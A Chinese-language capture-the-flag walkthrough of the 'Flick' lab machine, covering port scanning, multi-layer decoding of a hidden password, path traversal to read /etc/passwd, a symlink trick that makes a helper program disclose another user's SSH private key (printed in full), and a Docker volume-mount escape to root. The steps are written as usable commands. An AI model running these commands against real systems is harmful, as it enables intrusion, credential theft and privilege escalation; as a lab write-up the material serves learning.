CTF系列--WP--靶机16--flick

WP

Flick 1(1).pdfhttps://www.yuque.com/attachments/yuque/0/2026/pdf/64604138/1774599785497-5449f6c0-7b7a-42cf-b308-9694ce33c363.pdf

此WP中我只看懂了部分，小白新手可以看笔者的，若是大佬们感觉我写的过于简单，可以去看这个WP。同时，感谢老师傅的WP笔记。

1.信息收集

dirsearch

//这个IP是靶机的IP //-x 进行限制，将400-599的状态去除，不显示。这样可以更好的识别响应成功的目录 python dirsearch.py -u http://192.168.182.130/ -x 400-599

nmap

nmap -sS -sV 192.168.182.130

nmap -sS -sV -O -p- 192.168.182.130 //-p- 是扫描全部端口

不会的可以交给AI分析。可以发现 8881/tcp 为管理服务器服务，输入正确密码后可以打开应该新的端口（经验，这个AI会告诉你。笔者之前做过一个类似的，这是第二次遇到）

尝试使用NC连接端口

nc 192.168.182.130 8881

显示输入密码可以开启新端口。

显示输入正确密码后，会 “打开一扇新的门”。这里指端口

但是不管输入什么，都是原样返回。所以先放弃这个，搞其他的。

2.SSH服务---22端口

//使用SSH服务登录靶机 ssh 192.168.182.130

发现了大量的不正常数据。是16进制转义。准备进行解码。

解码

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\x56\x6b\x64\x34\x59\x56\x55\x79\x53\x6b\x5a\x58\x57\x48\x42\x58\x56\x6c\x5a\x77 \x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d

转义后发现是很长的字符文本。由末尾的“==”，可以知道这个是base64加密，所以在使用base64解码。

注：这个是嵌套加密，需要进行多次解码。网络上面的解码平台，大多只能进行一到两次解码，就会出现错误。这里分享一个github上面的项目，比较靠谱。

https://gchq.github.io/CyberChef/ //解码项目，在线的。

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PQ==

这里就不在显示所有的步骤。

最终的解密为：tabupJievas8Knoj

3.连接 8881 端口，开启新端口

接着用这个密码去尝试连接 8881 端口服务器，开启端口

密码正确，新端口打开。

4.查询新端口

nmap -sS -sV -O -p- 192.168.182.130

发现 80 端口。去登录。

5.dirsearch 重新扫描

python dirsearch.py -u http://192.168.182.130/ -x 400-599

都打不开，这些目录点击后还是显示这个页面，只是变换了显示的路径。

6.爆破密码

找到登录界面，存在弱口令密码：demo/demo123（使用字典去尝试吧）

可以上传文件，没有过滤。但是找不到路径，上传文件名称会随机编码。但是可以查看。我们上传木马的机会没了，嘿嘿。

无法访问图片的存放目录。

7.文件包含

F12，可以找到源代码，发现是以参数的形式传入路径，推测存在任意文件读取漏洞。试试嘛，又不花钱的。

下载文件时进行抓包，尝试访问passwd。

最终使用的是双写绕过。师傅们可以去试试其他的方法。多多尝试哦，看看不同的路径会显示什么。

有东西了，但是不对。换

发现了用户及权限

//主要是看这个数字，0是管理员权限，1000/1001是普通用户。这个新朋友们可以去查一下。

root:x:0:0:root:/root:/bin/bash

robin:x:1000:1000:robin,,,:/home/robin:/bin/bash

dean:x:1001:1001:,,,:/home/dean:/bin/bash

存在 2 个用户：robin / dean

8.账户密码

查看页面框架，是Laravel 框架，目录结构是固定的。交给 AI，询问漏洞。注意关键词。

//这个AI好用一些 https://gemini.google.com/app/064f8e17be62455f

多询问一下，看看目录结构什么的。或者看看其他师傅们的WP，为什么是这个目录，笔者也不是很清楚，尚在学习中。若有大佬知晓，可以在评论区回复一下。笔者敬上

username text, password text xdI IpaulnejEvOibKugEdof0KebinAw6TogsacPayarkOctIasejbon7Ni7GrocmyalhkukviÀJ Jrobin JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjadl scujittyukIjwipOzicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5I Idean FumKivcenfodErkOChezauggyokyait5fojEpCayclEcyaj2heTwef00lNiphAnA

为什么是红色的部分呢，因为前面查到就这 2 个用户，所以其他的用不上。而且他说了是账户和密码。

username text,

password text

xdI IpaulnejEvOibKugEdof0KebinAw6TogsacPayarkOctIasejbon7Ni7GrocmyalhkukviÀJ

Jrobin JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjadl

scujittyukIjwipOzicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5I

Idean FumKivcenfodErkOChezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA

可以用 yakit 去抓包，bp 抓的包无法直接复制，用 AI 进行文字读取会出错误。

JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjadl

FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA

9.SSH 登录robin用户

ssh robin@192.168.182.130

和 之前的一样

登录失败了。666，竟然是假的，荒谬的世界，毁灭吧。

ssh dean@192.168.182.130

FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA

登录成功

还行，不全是假的。

10.查找信息，准备提权--环境变量劫持？

ls cat message.txt

The .dockerfile is in my home, so the path for the script will be something like /home/robin/flick-dev/

• robin有一个目录：/home/robin/flick-dev/
• 里面有.dockerfile
• 管理员写了一个脚本让 dean 可以读取它

好消息，gogogo

./read_docker /home/robin/flick-dev

read_docker这个程序就是给⽤户输入的路径后添加 Dockerfile

这是一个Docker 开发环境配置文件，用于运行 Flick-a-photo 应用。

• 使用PHP5+Apache2+MySQL
• 应用运行在 Docker 容器中

大佬们先走一步，小白留下听我训话。嘿嘿嘿，说你呢，是不是不清楚自己的实力啊。桀桀桀，是不是懵逼中，嘿嘿，我做的时候也是，去看我的另一篇文章吧

嘿，不清楚自己实力的家伙，过来看这个。点我啊，等什么呢

# 1. 删除可能存在的旧链接 rm -rf Dockerfile # 2. 创建符号链接，将当前目录的 Dockerfile 指向 robin 的 authorized_keys ln -s /home/robin/.ssh/authorized_keys Dockerfile # 3. 用 read_docker 读取当前目录（.），脚本会 Follow 符号链接，读取到 robin 的公钥 ./read_docker .

read_docker脚本的作用是读取指定路径下的 Dockerfile 内容，但它没有对输入路径做安全校验，存在目录遍历 / 符号链接绕过的漏洞。

//这个好像是公钥 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW//S4p0cVDihPToqnfKDS0vV8VWXgf6 JLVQ6p2zQeuAEJNLAQLBXCGsgUlr+7kU48ay3y3fkIqjhVZfco0dcU1W1RdZ5AWl7 +sH/TCL6TwTxa1eIUGMuIU6pMMvSSBdGhDNQ+ViDT4sBejkRsyr6sHZmAwlPG6ckVXab64q1tllG /NTpLUWPpceH9TQTrx3qxn/7LVSFIktoVhRAyR8u2PE9rXuw9n6TAHVHim6FVOmt9A6QKKd 9bTWi3ZGPYcsxHkKmADbx2bHDxbrDQwa1e6tN6CPXJ0U5OAHX +TheledIY0713YCVVH82woMC5gp2BEYUWH3WcZlOXWnh6bjxj robin@flick

//执行命令，读取私钥 rm -f Dockerfile ln -s /home/robin/.ssh/id_rsa Dockerfile ./read_docker .

私钥，全部都是，复制记得加上首尾2行哦

-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6 S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9 d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2 tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4 Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0 mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1 Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn -----END RSA PRIVATE KEY-----

cat > /home/dean/robin_key << 'EOF' ...私钥... EOF chmod 600 robin_key //设置权限

11.SSH 登录 robin

# SSH 登录 robin ssh -i /home/dean/robin_key robin@localhost #这个是错的 #ssh -i /robin_key robin@localhost

登录成功了，不容易啊。

12.挂载--提权成功

将主机操作系统的/root目录挂载到映像的/root目录中，也是容器逃逸。

docker run -t -i -v /root:/root ubuntu /bin/bash

启动一个 ubuntu 容器，并把宿主机的最高权限目录 /root 完全共享给容器，让你在容器内直接掌控宿主机 root 权限 。

第十二步没有看懂的朋友们，去看看第十步，有惊喜哦。

当然，直接看这个也一样哦。但是那样就没有惊喜了哦。

哦，我的朋友，你还在犹豫什么，当然去看第十步的惊喜啦。

Docker容器逃逸---挂载逃逸-CSDN博客